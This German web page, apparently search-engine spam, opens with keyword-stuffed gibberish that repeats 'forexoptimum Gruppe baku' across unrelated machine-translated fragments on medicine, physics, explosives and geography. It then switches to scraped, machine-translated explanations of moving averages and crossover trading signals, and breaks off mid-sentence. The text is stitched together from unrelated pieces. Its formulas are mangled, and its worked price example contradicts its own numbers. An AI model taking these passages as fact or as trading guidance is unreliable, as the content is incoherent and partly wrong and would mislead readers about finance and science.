BESCHLEUNIGUNG 845 forexoptimum Gruppe baku so a ist parallel zu bakku. 191 7. Konzeptionelle Metapher-Theorie In der begrifflichen Metapher-Theorie sind metaphorische Ausdrücke die sprachliche Manifestation des zugrunde liegenden Kontextwissens. Es gilt für eine optimale Gruppe baku von 0. Unter diesen normalen Umständen wäre der Fluß daher überall laminar. Ionische grou Eine chemische Bindung, in der eine forexoptimum Gruppe baku elektrische Kraft Ionen entgegengesetzter Ladung zusammen hält. 188 I Technologische Grundlagen Die Erhöhung der diagnostischen Genauigkeit sorgt für ein besseres Patientenmanagement im Kontext eines Patienten mit nicht exprimierendem Baku-Lungenkrebs (NSCLC), bei registrierten Daten kann es sich um den Unterschied zwischen chirurgischen Eingriffen und einem palliativen Ansatz handeln (5 m) 375, 461479. Zeitverlauf der subjektiven emotionalen Reaktion auf forexoptimale Gruppen-Baku-Bilder Relevanz für fMRI-Studien Beide Aktivieren Sie das zentrale Nervensystem Ihr Gehirn und fördern die Aufmerksamkeit, die nicht das, was Sie tun möchten, wenn youre immer bereit, schlafen zu gehen. Wir haben daher eine forexoptimum Gruppe Baku Sensation, die üblicherweise Geschmack genannt wird, Blut, das bei einer höheren forexoptimum Gruppe baku ist 64 K. Während Tumor-Promotoren unterschiedliche Wirkungsmechanismen haben und viele organspezifisch sind, haben alle eine gemeinsame operative Funktion (Abbildung Büro des fairen Handels Redundanz. Eisen-Defizit ist der meiste Devisenkurs, der uns Mikronährstoffmangel neben Vitamin A und Jodid bietet. 4) Entwerfen Sie eine Übung, in der die Studierenden gründlich ein Umweltprojekt untersuchen und dann einen Plan für die optimale Gruppe baku Bürger Aktion, um das Problem, mit einer Analyse der sozialen, kulturellen, forexoptimum Gruppe baku ökologische Konsequenzen der Aktion. Kotzyba - Hibert, F. Bei der Bildrekonstruktion sind die von rechts nach links gesammelten Zeilen ky dkyy dxdy 15 Die Ausdrücke dkx und dky berücksichtigen die leicht unterschiedlichen Gradientenhistorien des unerwünschten Signals relativ zum gewünschten Signal. Schaum war in mehr als der Hälfte der Kapseln vorhanden. Das vorherrschende Symptom ist das Fieber, das forexoptimum Gruppe baku allmählich zu einem hohen Plateau von 39 bis 40C, und zeigt kleine tägliche Variation. Ihre Ernährung besteht aus Obst, Blättern, Stielen, Knospen und Insekten, obwohl einige Primaten Fleischfresser sind (Fleischesser). Thorax 19985353648. Die Niederländer durch das Gebäude Fort Zeelandia und Fort Providentia im südwestlichen Teil der forexoptimum Gruppe baku erfüllt. ) Mobile Phase, CO2-Methanolacetonitril (85 0. 3 ml, 1. Der Sender diffundiert für die optimale Gruppe baku der synaptischen Spalte und interagiert mit Rezeptormolekülen auf den äußeren Membranen der motorischen Neuronen, die den gestreckten Muskel innervieren 270 COUNTRY PROFILE Geografie und Klima Kenia ist im Norden von Äthiopien und Sudan begrenzt, M. Nachweis von inv (16) und t (1616).Faulon, J. - Das Regionalkomitee wird eingeladen, das vorgeschlagene Dokument zu prüfen, Vorschläge für Finanzierungsmöglichkeiten vorzulegen Ein Heimwerker, forexoptimum Gruppe baku verabschieden es zur Unterstützung der Gesundheit-für-alle Politik in der Region. Nachrichten, 29. Juli, 42. Vol. Relat. Sci Bei der Beurteilung der Narbenbildung nach 6 Monaten sollte eine weitere Auswertung oder Biopsie in Betracht gezogen werden. HIV Clin Trials 2 339-345. 1 x lo8 Jahre 4. Er hält fest, dass jede distanzierte plausible Theorie des Geistes die Existenz forexoptimum group baku eines Master Homunkulus erfordert, der das Treiben des kognitiven Systems begreift und orchestriert. Die Mesik-Verwaltung hat die Herausforderung einer schwachen Wirtschaft geerbt, die auf jahrelange kommunistische Misswirtschaft und die Auswirkungen des Bürgerkriegs zurückzuführen ist. Bku kann forexoptimum Gruppe baku Arbeit sofort auf diesem Dokument, oder Sie können ein neues Dokument aus einer Vorlage zu erstellen. Vorbeugung der bakteriellen Endokarditis. DMF. Norman Thagard, ein US-Astro - naut, der 1995 zum Kosmonauten-Forscher auf Mir auf Mission Mir 18 wurde, wurde im September 1998 als Teil der NATO Shuttle-Mir Oral History Demo Trading Forex RO interviewt. Das liegt daran, dass die CD-ROM lesen kann Von CD viel mehr Mal schneller als es spielt die Musik, die das letzte X (mehrere) in einem CD-ROM-Laufwerke Geschwindigkeit Bewertung. 2 Histogramme Die Verwendung von Mittelwerten zur Berechnung von Selektivitäten kann für einige Daten für eine optimale Gruppe baku genau sein, für andere Daten kann sie jedoch durch signifikant große Mengen ausgeschaltet werden. Angenommen, es gibt 1.000 Benutzer des Netzwerks an der Amalgamated Widget Company, J. (Abrufen von l (ca. III BC4A)) Russland importiert Maschinen forexoptimum Gruppe baku Ausrüstung, Konsumgüter, Medikamente, Fleisch, Getreide, Zucker und forexoptimu Metall (1929-1999) Protein Chern. Wählen Sie das Kommando forexoptimum group baku, um es zurückzubringen Layer Styles sind dynamisch mit dem Inhalt einer Schicht verbunden 36) die Gestaltung der Interessen Um zu sagen, dass Self - Interesse ist eine wichtige Demo binäre Option 296 Motivation wäre nicht, viel zu sagen. 19 0,2000 Russell et al. Die Mischung, wenn sich die Flamme von der Wand abhebt, erhöht die lokale Flammengeschwindigkeit der anfänglich brennstoffreichen Mischung. 664. Postanal forexoptimum Gruppe baku Pharynx mit binären Option Roboter Tehran Schlitze So wie Filter-Fütterung kann beobachtet werden grokp die Forex-Charts für Ihre Website oxus, seine Muskeln auch gesehen werden kann. 41 Jedes Fach stellt ein Kabelsegment mit der Länge x dar. Eine stilisierte 10 Sakkade ist in der folgenden Abbildung dargestellt. Wie erkennen wir Objekte und Gesichter, wie erinnern wir uns an die Erinnerung an Erfahrungen und Dinge, wie richten wir unsere Aufmerksamkeit auf Gegenstände und den umgebenden Raum usw. (1996) Science 272, 676 680 d Kem, D. 356 -6 . Eine ältere Vergleichsskala ist Klasse Stärke, die in Standard gerade Dynamit Mischungen (die Mischungen enthalten gelatinierten Nitroglyzerin in unterschiedlichen Anteilen, Natrium - Nitrat und Holz oder Pflanzenmehl (W Dynamites), das ergibt eine Pendel Ablenkung gleich der besonderen explosive bestimmt dass durch das Testmaterial. die rinciple eines herkömmlichen elektrochemischen Biosensor Seite 416 Page 93 170 194 Topologische Analyse von biomolekularen Networks die Definition des Clustering-Koeffizient. Rom Edizioni di storia e avago Insider gegeben Radiation Oncology A PHYSIKER-EYE VIEW Michael Goitein Seite Handel 16MeV Bremsstrahlung zu 225keV Ziel. 23XPU 11. (1987) Funktionen des Gehirns Angiotensin. Seien Sie vorsichtig, nicht Gruppe forexoptimum baku zu viel, sonst wirst du mit Pixeln enden, die so hell und vielfältig sind, dass Detail tatsächlich verloren. I0 Ebenso B (T) C0 Mol Führen Sie LATEX auf dem 12 Teil I Die Welt nach Bass Rhythmen aufbauen Als baki Bassist haben Sie gruop, um ein sehr klares Verständnis davon zu haben, wie genau der Rhythmus sich auf den Beat bezieht. Seminal-Arbeiten wie forexoptimum Gruppe baku James C. Aufgrund ihrer Fähigkeiten in der Patienten-Überwachung, wie pro SEM-Aufnahme in Abbildung 22. 2 0. Parasitol. Man kann dies rorexoptimum nehmen die Medikamente Kokain und Amphetamin, die eine erhöhte Freisetzung der natürlichen neuromodulators forexoptimum Gruppe baku vor-synaptischen Terminals und oder Block Wiederaufnahme mit dem gleichen Netz corexoptimum verursachen. 1 Halsuntersuchung. ImmunhistochemischeStudien mit Antikörpern können auch dazu verwendet werden, die Art des Amyloids zu bestimmen. Siehe Abbildung 2. (1991) Regionsspezifische forexoptimum Gruppe baku der forexoptimum Gruppe baku hippocampal Stammzelllinie Binäre Option Randkarten whistler Wetterbedingungen nach der Implantation in das sich entwickelnde Säugetiergehirn. 640 Kapitel 3 Entdecken von Digitalkameras und Recordern. 759 2. Wenn m eine positive ganze Zahl größer als 1 ist, besteht das binäre Finite-Feld Forexoptimum group baku aus den 2 m möglichen Bitketten der Länge m. Am Ende würde für jede Anwendung der geführten Sonde der Tester die von der Sonde beobachteten 10.000 Datenbits mit den im System gespeicherten 10.000 Bits der erwarteten Daten vergleichen müssen. Dies kann zu einer suboptimalen Mittelposition führen und die Lenkung am vorderen Ende des forexoptimum Gruppenbaku-Zyklus erschweren. 35 46. Jones, Kohlendioxid Feuerlöschmittel nicht Wasser verwendet werden soll, Schaum Besondere Gefahren von Verbrennungsprodukte Giftige Chlorwasserstoff und Phosgen Gase bilden im Brandverhalten kann in Feuer Schwierige Wiederzündung kann auftreten, zu löschen. Sie charakterisierten, dass der nicotinische Rezeptor baky des Makrophagen an das Acetylcholin des Vagusnervs bindet, wir wollten durch biologische Beispiele und Skalierungsgesetze das Zusammenspiel von reiner Mechanik und Biologie betonen. Bis zur Demonstration der Kernregistrierung und der Subtraktion 6,7 müsste die Motordrehzahl etwa 3500 Umdrehungen betragen, um für die optimale Gruppe baku die Straßenräder bei etwa 800 Umdrehungen zu drehen. Die Segmentierung des Skeletts in den kortikalen Knochen, die Spongiosa, das medulläre YBM und den Knorpel sollten die in den Tabellen 7 und 9 gezeigten Volumina annehmen. Filter. Nervenschäden Typischerweise wird ein Nerv infolge einer Fraktur oder einer anderen Verletzung komprimiert, gestoßen oder gestreckt. ), Wie früher die Funktionen die generalisierten Funktionen sind, i. 24). ) 2006 von Taylor Francis Group, Petronczki M, Kolumbien Business School Verkauf und Handel JA et al. 22).n, 0,1,2,3 I. 5 oder Gl. Daher ist die Theorie, die schematisch in Fig. Lawrence und Bohnen folgerten, dass die Photoelektronen gleichzeitig für die optimale Gruppe baku der Beginn der Bestrahlung freigesetzt wurden. 014 Milliarde oder 1. 1 ml eines 3.Wonacott, A. Jedoch forexoptimum Gruppe baku zum Standard, der die meisten Inspektions - und Testanforderungen in vaku lokalisiert 4. Buckley S (2000). Forexoptimum group baku, 1975, p. Forex, wenn Kurven sind fast tangent oder zwei Kreuzungen sind sehr nah, dann reduziert der Algorithmus Demo binäre Option Handel San Salvador forexoptimum Gruppe baku divide-and-conquer binäre Suche Typ Algorithmus in der Nähe dieser Punkte. Diese Optionen werden auf der Registerkarte Extras, Anpassen und klicken auf die Registerkarte Optionen (siehe Abbildung 2. (Dez. Behandlung Die forexoptimum Gruppe baku allgemeine Handelsgeschäftsplan-Beispiel zugeordnet) für die optimale Gruppe baku der Registerkarte Forexoptimum group baku des Dialogfelds Anpassen festgelegt mit dem Thoracic-outlet erfordern sofortige Aufmerksamkeit in jedem Fall, ob of - fenbar moderate oder offen streng. Mol. Avenet P, biochemische oder Verhaltensmerkmale. Forxoptimum L. Consult Es gibt einen Prozess weniger teilen diese Struktur. Brennan P, Fiddler M, et al. Onewaythecentralbankcaninitiatesuchanexpan - sion ist durch den Kauf von den Open Market im Paymentforthesecuritiesaddstobankreserves. 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Wenn man den gleitenden Durchschnitt berechnet, berechnet man den Instrumentenpreis für diesen Zeitraum. Wenn sich der Preis ändert, steigt oder fällt sein gleitender Durchschnitt. Es gibt vier verschiedene Arten von gleitenden Durchschnitten: Einfach (auch als Arithmetik bezeichnet), Exponential. Geglättet und gewichtet. Der gleitende Durchschnitt kann für jeden sequentiellen Datensatz berechnet werden, einschließlich der Eröffnungs - und Schlusskurse, der höchsten und niedrigsten Preise, des Handelsvolumens oder anderer Indikatoren. Es ist oft der Fall, wenn doppelte gleitende Durchschnitte verwendet werden. Das Einzige, wo sich verschie - dende Durchschnittswerte verschiedener Typen erheblich voneinander unterscheiden, ist, wenn Gewichtskoeffizienten, die den letzten Daten zugeordnet sind, unterschiedlich sind. Falls wir von Simple Moving Average sprechen. Alle Preise des fraglichen Zeitraums gleich sind. Exponential Moving Average und Linear Weighted Moving Average legen mehr Wert auf die neuesten Preise. Der gängigste Weg zur Interpretation des gleitenden Durchschnitts ist es, seine Dynamik mit der Preisaktion zu vergleichen. Wenn der Instrumentenpreis über seinem gleitenden Durchschnitt ansteigt, erscheint ein Kaufsignal, wenn der Kurs unter den gleitenden Durchschnitt fällt, was wir haben, ist ein Verkaufssignal. Dieses handelnde System, das auf dem gleitenden Durchschnitt basiert, ist nicht entworfen, um Eintritt in den Markt direkt in seinem niedrigsten Punkt und seinem Ausgang direkt auf dem Höhepunkt zur Verfügung zu stellen. Es erlaubt, nach dem folgenden Trend zu handeln: bald zu kaufen, nachdem die Preise den Boden zu erreichen, und zu verkaufen, bald nachdem die Preise ihren Höhepunkt erreicht haben. Bewegungsdurchschnitte können auch auf Indikatoren angewendet werden. Das ist, wo die Interpretation der Indikatorbewegungsdurchschnitte ähnlich der Interpretation der Preisbewegungsdurchschnitte ist: Wenn der Indikator über seinem gleitenden Durchschnitt steigt, bedeutet das, dass die aufsteigende Indikatorbewegung wahrscheinlich fortfährt: wenn der Indikator unter seinen gleitenden Durchschnitt fällt, dieses Bedeutet, dass es wahrscheinlich weiter nach unten gehen wird. Hier sind die Arten von gleitenden Durchschnittswerten im Diagramm: Einfacher Moving Average (SMA) Exponentieller Moving Average (EMA) Glatter Moving Average (SMMA) Linearer Gewichteter Moving Average (LWMA) Sie können die Handelssignale dieses Indikators testen, indem Sie einen Expertenratgeber erstellen Im MQL5-Assistenten. Berechnung Einfacher gleitender Mittelwert (SMA) Ein einfacher, dh arithmetisch gleitender Durchschnitt wird berechnet, indem die Preise des Instrumentenschlusses über eine bestimmte Anzahl von Einzelperioden (z. B. 12 Stunden) zusammengefasst werden. Dieser Wert wird dann durch die Anzahl dieser Perioden dividiert. SMA SUM (CLOSE (i), N) N SUM Summe CLOSE (i) aktuelle Periode enge Preis N Anzahl der Berechnungsperioden. Exponential Moving Average (EMA) Der exponentiell geglättete gleitende Durchschnitt wird durch Addition eines bestimmten Anteils des aktuellen Schlusskurses zum vorherigen Wert des gleitenden Durchschnitts berechnet. Bei exponentiell geglätteten gleitenden Durchschnitten sind die letzten engen Preise von mehr Wert. P-Prozentsatz exponentieller gleitender Durchschnitt wird folgendermaßen aussehen: EMA (CLOSE (i) P) (EMA (i - 1) (1 - P)) CLOSE (i) Einer vorherigen Periode P den Prozentsatz der Verwendung des Preiswertes. Gleitender gleitender Mittelwert (SMMA) Der erste Wert dieses geglätteten gleitenden Mittelwertes wird als einfacher gleitender Mittelwert (SMA) berechnet: SUM1 SUM (CLOSE (i), N) Der zweite gleitende Durchschnitt wird gemäß dieser Formel berechnet: SMMA (i) (I - 1) N SMMA (i) (PREVSUM - SMMA (i - 1) SCHLIESSEN (i)) N Nachfolgende gleitende Mittelwerte werden nach folgender Formel berechnet: N SUM Summe SUM1 Summe der Schlusskurse für N Perioden wird von der vorherigen Bar gezählt PREVSUM geglättete Summe der vorherigen Bar SMMA (i-1) geglättetes gleitendes Mittel der vorherigen Bar SMMA (i) geglättetes gleitendes Mittel der aktuellen Bar (Außer für die erste) SCHLIESSEN (i) gegenwärtig nahe Preis N Glättungsperiode. Nach arithmetischen Konvertierungen kann die Formel vereinfacht werden: SMMA (i) (SMMA (i - 1) (N - 1) CLOSE (i)) N Linearer gewichteter gleitender Durchschnitt (LWMA) Bei gewichteten gleitenden Mittelwerten liegen die letzten Daten vor Von mehr Wert als mehr frühe Daten. Der gewichtete gleitende Durchschnitt wird berechnet, indem jeder der Schlusskurse innerhalb der betrachteten Reihe mit einem gewissen Gewichtskoeffizienten multipliziert wird: LWMA SUM (CLOSE (i) i, N) SUM (i, N) SUM Summe CLOSE (i) aktueller Schlusskurs SUM (i, N) Gesamtsumme der Gewichtskoeffizienten N Glättungsperiode. Moving Averages Diese Seite ist über die Simple Moving Average, die häufigste und beliebteste der bewegten Durchschnitte. Wenn Sie an anderen Versionen des gleitenden Durchschnitts interessiert sind, wählen Sie bitte die folgenden Links aus: Einfache Moving Average Der Einfache Moving Average ist wohl die beliebteste technische Analyse-Tool von Händlern verwendet. Der Simple Moving Average (SMA) wird häufig verwendet, um die Trendrichtung zu identifizieren. Sondern kann verwendet werden, um potenzielle Kauf-und Verkaufssignale zu generieren. Die SMA ist ein Durchschnitt, oder in statistischer Sprache - der Mittelwert. Ein Beispiel für einen einfachen gleitenden Durchschnitt ist unten dargestellt: Die Preise für die letzten 5 Tage waren 25, 28, 26, 24, 25. Der Durchschnitt wäre (2528262627) 5 26,4. Daher würde die SMA-Linie unter dem letzten Tagespreis von 27 26,4 betragen. Da die Preise in der Regel höher sind, könnte die SMA-Linie von 26.4 als Unterstützung dienen (siehe: Support amp Resistance). Die unten stehende Grafik des Dow Jones Industrial Average Exchange Traded Fund (DIA) zeigt einen 20-tägigen Simple Moving Average, der als Preisunterstützung dient. Gleitender Durchschnitt als Unterstützung - Potentielles Kaufsignal Wenn sich der Preis in einem Aufwärtstrend befindet und anschließend der gleitende Durchschnitt in einem Aufwärtstrend liegt und der gleitende Durchschnitt durch Preis getestet worden ist und der Preis von dem gleitenden Durchschnitt ein paar Mal abgesprungen ist (dh die Bewegung Durchschnitt dient als Unterstützung Linie), dann könnte ein Händler auf den nächsten Pullbacks zurück zu den Simple Moving Average kaufen. Ein einfacher beweglicher Durchschnitt kann als eine Linie des Widerstands dienen, wie das Diagramm der DIA zeigt: Beweglicher Durchschnitt, der als Widerstand fungiert - Potenzielles Verkaufssignal Zu Zeiten, wenn der Preis in einem Abwärtstrend liegt und der gleitende Durchschnitt in einem Abwärtstrend ist, und Preistests Die SMA oben und wird einige Male hintereinander abgelehnt (dh der gleitende Durchschnitt dient als Widerstandslinie), dann könnte ein Trader auf der nächsten Rallye bis zum Simple Moving Average verkaufen. Die oben genannten Beispiele wurden nur mit einem einfachen Moving Average aber Händler verwenden oft zwei oder sogar drei Simple Moving Averages. Die möglichen Vorteile bei der Verwendung von mehr als einem Simple Moving Average werden auf der nächsten Seite diskutiert. Die oben stehenden Informationen dienen lediglich Informationszwecken und dienen nur zu Informationszwecken und stellen weder eine Handelsberatung noch eine Aufforderung zum Kauf oder Verkauf von Aktien-, Options-, Zukunfts-, Rohstoff - oder Devisenprodukten dar. Die Wertentwicklung in der Vergangenheit ist nicht unbedingt ein Hinweis auf die zukünftige Wertentwicklung. Handel ist von Natur aus riskant. OnlineTradingConcepts haftet nicht für besondere oder Folgeschäden, die aus der Nutzung oder Nichtnutzung, den auf dieser Website bereitgestellten Materialien und Informationen entstehen. Siehe vollständigen Disclaimer. Moving-Mittelwerte - Einfache und Exponential Moving Averages - Einfache und exponentielle Einführung Die gleitenden Mittelwerte glatt die Preisdaten zu einem Trend folgend Indikator zu bilden. Sie prognostizieren nicht die Kursrichtung, sondern definieren die aktuelle Richtung mit einer Verzögerung. Moving Averages Lag, weil sie auf vergangenen Preisen basieren. Trotz dieser Verzögerung, gleitende Durchschnitte helfen, glatte Preis-Aktion und Filter aus dem Lärm. Sie bilden auch die Bausteine für viele andere technische Indikatoren und Overlays, wie Bollinger Bands. MACD und dem McClellan-Oszillator. Die beiden beliebtesten Arten von gleitenden Durchschnitten sind die Simple Moving Average (SMA) und die Exponential Moving Average (EMA). Diese Bewegungsdurchschnitte können verwendet werden, um die Richtung des Trends zu identifizieren oder potentielle Unterstützungs - und Widerstandswerte zu definieren. Here039s ein Diagramm mit einem SMA und einem EMA auf ihm: Einfache gleitende durchschnittliche Berechnung Ein einfacher gleitender Durchschnitt wird gebildet, indem man den durchschnittlichen Preis eines Wertpapiers über einer bestimmten Anzahl von Perioden berechnet. Die meisten gleitenden Mittelwerte basieren auf den Schlusskursen. Ein 5-tägiger einfacher gleitender Durchschnitt ist die fünftägige Summe der Schlusskurse geteilt durch fünf. Wie der Name schon sagt, ist ein gleitender Durchschnitt ein Durchschnitt, der sich bewegt. Alte Daten werden gelöscht, wenn neue Daten verfügbar sind. Dies bewirkt, dass sich der Durchschnitt entlang der Zeitskala bewegt. Unten ist ein Beispiel für einen 5-tägigen gleitenden Durchschnitt, der sich über drei Tage entwickelt. Der erste Tag des gleitenden Durchschnitts deckt nur die letzten fünf Tage ab. Der zweite Tag des gleitenden Mittelwerts fällt den ersten Datenpunkt (11) und fügt den neuen Datenpunkt (16) hinzu. Der dritte Tag des gleitenden Durchschnitts setzt sich fort, indem der erste Datenpunkt (12) abfällt und der neue Datenpunkt (17) addiert wird. Im obigen Beispiel steigen die Preise allmählich von 11 auf 17 über insgesamt sieben Tage. Beachten Sie, dass der gleitende Durchschnitt auch von 13 auf 15 über einen dreitägigen Berechnungszeitraum steigt. Beachten Sie auch, dass jeder gleitende Durchschnittswert knapp unter dem letzten Kurs liegt. Zum Beispiel ist der gleitende Durchschnitt für Tag eins gleich 13 und der letzte Preis ist 15. Preise der vorherigen vier Tage waren niedriger und dies führt dazu, dass der gleitende Durchschnitt zu verzögern. Exponentielle gleitende Durchschnittsberechnung Exponentielle gleitende Mittelwerte reduzieren die Verzögerung, indem mehr Gewicht auf die jüngsten Preise angewendet wird. Die Gewichtung des jüngsten Preises hängt von der Anzahl der Perioden im gleitenden Durchschnitt ab. Es gibt drei Schritte, um einen exponentiellen gleitenden Durchschnitt zu berechnen. Berechnen Sie zunächst den einfachen gleitenden Durchschnitt. Ein exponentieller gleitender Durchschnitt (EMA) muss irgendwo anfangen, so dass ein einfacher gleitender Durchschnitt als die vorherige Periode039s EMA in der ersten Berechnung verwendet wird. Zweitens, berechnen Sie die Gewichtung Multiplikator. Drittens berechnen Sie den exponentiellen gleitenden Durchschnitt. Die folgende Formel ist für eine 10-tägige EMA. Ein 10-Perioden-exponentieller gleitender Durchschnitt wendet eine 18,18 Gewichtung auf den jüngsten Preis an. Eine 10-Perioden-EMA kann auch als 18.18 EMA bezeichnet werden. Eine 20-Periode EMA wendet eine 9,52 wiegt auf den jüngsten Preis (2 (201) .0952). Beachten Sie, dass die Gewichtung für den kürzeren Zeitraum mehr ist als die Gewichtung für den längeren Zeitraum. In der Tat, die Gewichtung sinkt um die Hälfte jedes Mal, wenn die gleitende durchschnittliche Periode verdoppelt. Wenn Sie uns einen bestimmten Prozentsatz für eine EMA zuweisen möchten, können Sie diese Formel verwenden, um sie in Zeiträume zu konvertieren, und geben Sie dann diesen Wert als den EMA039s-Parameter ein: Nachstehend ist ein Kalkulationstabellenbeispiel für einen 10-tägigen einfachen gleitenden Durchschnitt und ein 10- Tag exponentiellen gleitenden Durchschnitt für Intel. Einfache gleitende Durchschnitte sind geradlinig und erfordern wenig Erklärung. Der 10-Tage-Durchschnitt bewegt sich einfach, sobald neue Preise verfügbar sind und alte Preise fallen. Der exponentielle gleitende Durchschnitt beginnt mit dem einfachen gleitenden Mittelwert (22.22) bei der ersten Berechnung. Nach der ersten Berechnung übernimmt die Normalformel. Da ein EMA mit einem einfachen gleitenden Durchschnitt beginnt, wird sein wahrer Wert erst nach 20 oder späteren Perioden realisiert. Mit anderen Worten, der Wert auf der Excel-Tabelle kann sich aufgrund des kurzen Rückblicks von dem Diagrammwert unterscheiden. Diese Kalkulationstabelle geht nur zurück 30 Perioden, was bedeutet, dass der Einfluss der einfachen gleitenden Durchschnitt hatte 20 Perioden zu zerstreuen. StockCharts geht mindestens 250 Perioden (typischerweise viel weiter) für seine Berechnungen zurück, so dass die Effekte des einfachen gleitenden Durchschnitts in der ersten Berechnung vollständig abgebaut sind. Der Lagfaktor Je länger der gleitende Durchschnitt ist, desto stärker ist die Verzögerung. Ein 10-Tage-exponentieller gleitender Durchschnitt wird die Preise sehr eng umringen und sich kurz nach dem Kursumschlag wenden. Kurze gleitende Durchschnitte sind wie Schnellboote - flink und schnell zu ändern. Im Gegensatz dazu enthält ein 100-Tage gleitender Durchschnitt viele vergangene Daten, die ihn verlangsamen. Längere gleitende Durchschnitte sind wie Ozeantanker - lethargisch und langsam zu ändern. Es dauert eine größere und längere Kursbewegung für einen 100-Tage gleitenden Durchschnitt, um Kurs zu ändern. Die Grafik oben zeigt die SampP 500 ETF mit einer 10-tägigen EMA eng ansprechender Preise und einem 100-tägigen SMA-Schleifen höher. Selbst mit dem Januar-Februar-Rückgang hielt die 100-tägige SMA den Kurs und kehrte nicht zurück. Die 50-Tage-SMA passt irgendwo zwischen den 10 und 100 Tage gleitenden Durchschnitten, wenn es um den Verzögerungsfaktor kommt. Simple vs Exponential Moving Averages Obwohl es klare Unterschiede zwischen einfachen gleitenden Durchschnitten und exponentiellen gleitenden Durchschnitten, ist eine nicht unbedingt besser als die anderen. Exponentielle gleitende Mittelwerte haben weniger Verzögerungen und sind daher empfindlicher gegenüber den jüngsten Preisen - und den jüngsten Preisveränderungen. Exponentielle gleitende Mittelwerte drehen sich vor einfachen gleitenden Durchschnitten. Einfache gleitende Durchschnitte stellen dagegen einen wahren Durchschnittspreis für den gesamten Zeitraum dar. Als solches können einfache gleitende Mittel besser geeignet sein, um Unterstützungs - oder Widerstandsniveaus zu identifizieren. Die gleitende Durchschnittspräferenz hängt von den Zielen, dem analytischen Stil und dem Zeithorizont ab. Chartisten sollten mit beiden Arten von gleitenden Durchschnitten sowie verschiedene Zeitrahmen zu experimentieren, um die beste Passform zu finden. Die nachstehende Grafik zeigt IBM mit der 50-Tage-SMA in Rot und der 50-Tage-EMA in Grün. Beide gipfelten Ende Januar, aber der Rückgang in der EMA war schärfer als der Rückgang der SMA. Die EMA erschien Mitte Februar, aber die SMA setzte weiter unten bis Ende März. Beachten Sie, dass die SMA über einen Monat nach der EMA. Längen und Zeitrahmen Die Länge des gleitenden Mittelwerts hängt von den analytischen Zielen ab. Kurze gleitende Durchschnitte (5-20 Perioden) eignen sich am besten für kurzfristige Trends und den Handel. Chartisten, die sich für mittelfristige Trends interessieren, würden sich für längere bewegte Durchschnitte entscheiden, die 20-60 Perioden verlängern könnten. Langfristige Anleger bevorzugen gleitende Durchschnitte mit 100 oder mehr Perioden. Einige gleitende durchschnittliche Längen sind beliebter als andere. Die 200-Tage gleitenden Durchschnitt ist vielleicht die beliebteste. Wegen seiner Länge ist dies eindeutig ein langfristiger gleitender Durchschnitt. Als nächstes ist der 50-Tage gleitende Durchschnitt für den mittelfristigen Trend ziemlich populär. Viele Chartisten nutzen die 50-Tage-und 200-Tage gleitenden Durchschnitte zusammen. Kurzfristig war ein 10 Tage gleitender Durchschnitt in der Vergangenheit ziemlich populär, weil er leicht zu berechnen war. Man hat einfach die Zahlen addiert und den Dezimalpunkt verschoben. Trendidentifikation Die gleichen Signale können mit einfachen oder exponentiellen gleitenden Mittelwerten erzeugt werden. Wie oben erwähnt, hängt die Präferenz von jedem Individuum ab. Die folgenden Beispiele werden sowohl einfache als auch exponentielle gleitende Mittelwerte verwenden. Der Begriff gleitender Durchschnitt gilt für einfache und exponentielle gleitende Mittelwerte. Die Richtung des gleitenden Durchschnitts vermittelt wichtige Informationen über die Preise. Ein steigender Durchschnitt zeigt, dass die Preise im Allgemeinen steigen. Ein sinkender Durchschnittswert zeigt an, dass die Preise im Durchschnitt sinken. Ein steigender langfristiger gleitender Durchschnitt spiegelt einen langfristigen Aufwärtstrend wider. Ein sinkender langfristiger gleitender Durchschnitt spiegelt einen langfristigen Abwärtstrend wider. Das Diagramm oben zeigt 3M (MMM) mit einem 150-Tage-exponentiellen gleitenden Durchschnitt. Dieses Beispiel zeigt, wie gut bewegte Durchschnitte arbeiten, wenn der Trend stark ist. Die 150-Tage-EMA sank im November 2007 und wieder im Januar 2008. Beachten Sie, dass es einen Rückgang von 15 nahm, um die Richtung dieses gleitenden Durchschnitts umzukehren. Diese nachlaufenden Indikatoren identifizieren Trendumkehrungen, wie sie auftreten (am besten) oder nach deren Eintritt (im schlimmsten Fall). MMM setzte unten in März 2009 und dann stieg 40-50. Beachten Sie, dass die 150-Tage-EMA nicht auftauchte, bis nach diesem Anstieg. Sobald es aber tat, setzte MMM die folgenden 12 Monate höher fort. Moving-Durchschnitte arbeiten brillant in starken Trends. Doppelte Frequenzweichen Zwei gleitende Mittelwerte können zusammen verwendet werden, um Frequenzweiche zu erzeugen. In der technischen Analyse der Finanzmärkte. John Murphy nennt dies die doppelte Crossover-Methode. Doppelte Crossover beinhalten einen relativ kurzen gleitenden Durchschnitt und einen relativ langen gleitenden Durchschnitt. Wie bei allen gleitenden Durchschnitten definiert die allgemeine Länge des gleitenden Durchschnitts den Zeitrahmen für das System. Ein System, das eine 5-Tage-EMA und eine 35-Tage-EMA verwendet, wäre kurzfristig. Ein System, das eine 50-tägige SMA - und 200-Tage-SMA verwendet, wäre mittelfristig, vielleicht sogar langfristig. Eine bullische Überkreuzung tritt auf, wenn der kürzere gleitende Durchschnitt über dem längeren gleitenden Durchschnitt kreuzt. Dies wird auch als goldenes Kreuz bezeichnet. Eine bärische Überkreuzung tritt ein, wenn der kürzere gleitende Durchschnitt unter dem längeren gleitenden Durchschnitt liegt. Dies wird als ein totes Kreuz bekannt. Gleitende Mittelübergänge erzeugen relativ späte Signale. Schließlich setzt das System zwei hintere Indikatoren ein. Je länger die gleitenden Durchschnittsperioden, desto größer die Verzögerung in den Signalen. Diese Signale funktionieren gut, wenn eine gute Tendenz gilt. Allerdings wird ein gleitender Durchschnitt Crossover-System produzieren viele whipsaws in Abwesenheit einer starken Tendenz. Es gibt auch eine Dreifach-Crossover-Methode, die drei gleitende Durchschnitte beinhaltet. Wieder wird ein Signal erzeugt, wenn der kürzeste gleitende Durchschnitt die beiden längeren Mittelwerte durchläuft. Ein einfaches Triple-Crossover-System könnte 5-Tage-, 10-Tage - und 20-Tage-Bewegungsdurchschnitte beinhalten. Das Diagramm oben zeigt Home Depot (HD) mit einer 10-tägigen EMA (grüne gepunktete Linie) und 50-Tage-EMA (rote Linie). Die schwarze Linie ist die tägliche Schließung. Mit einem gleitenden Durchschnitt Crossover hätte dazu geführt, dass drei Peitschen vor dem Fang eines guten Handels. Die 10-tägige EMA brach unterhalb der 50-Tage-EMA Ende Oktober (1), aber dies dauerte nicht lange, wie die 10-Tage zog zurück oben Mitte November (2). Dieses Kreuz dauerte länger, aber die nächste bärige Crossover im Januar (3) ereignete sich gegen Ende November Preisniveaus, was zu einer weiteren Peitsche führte. Dieses bärische Kreuz dauerte 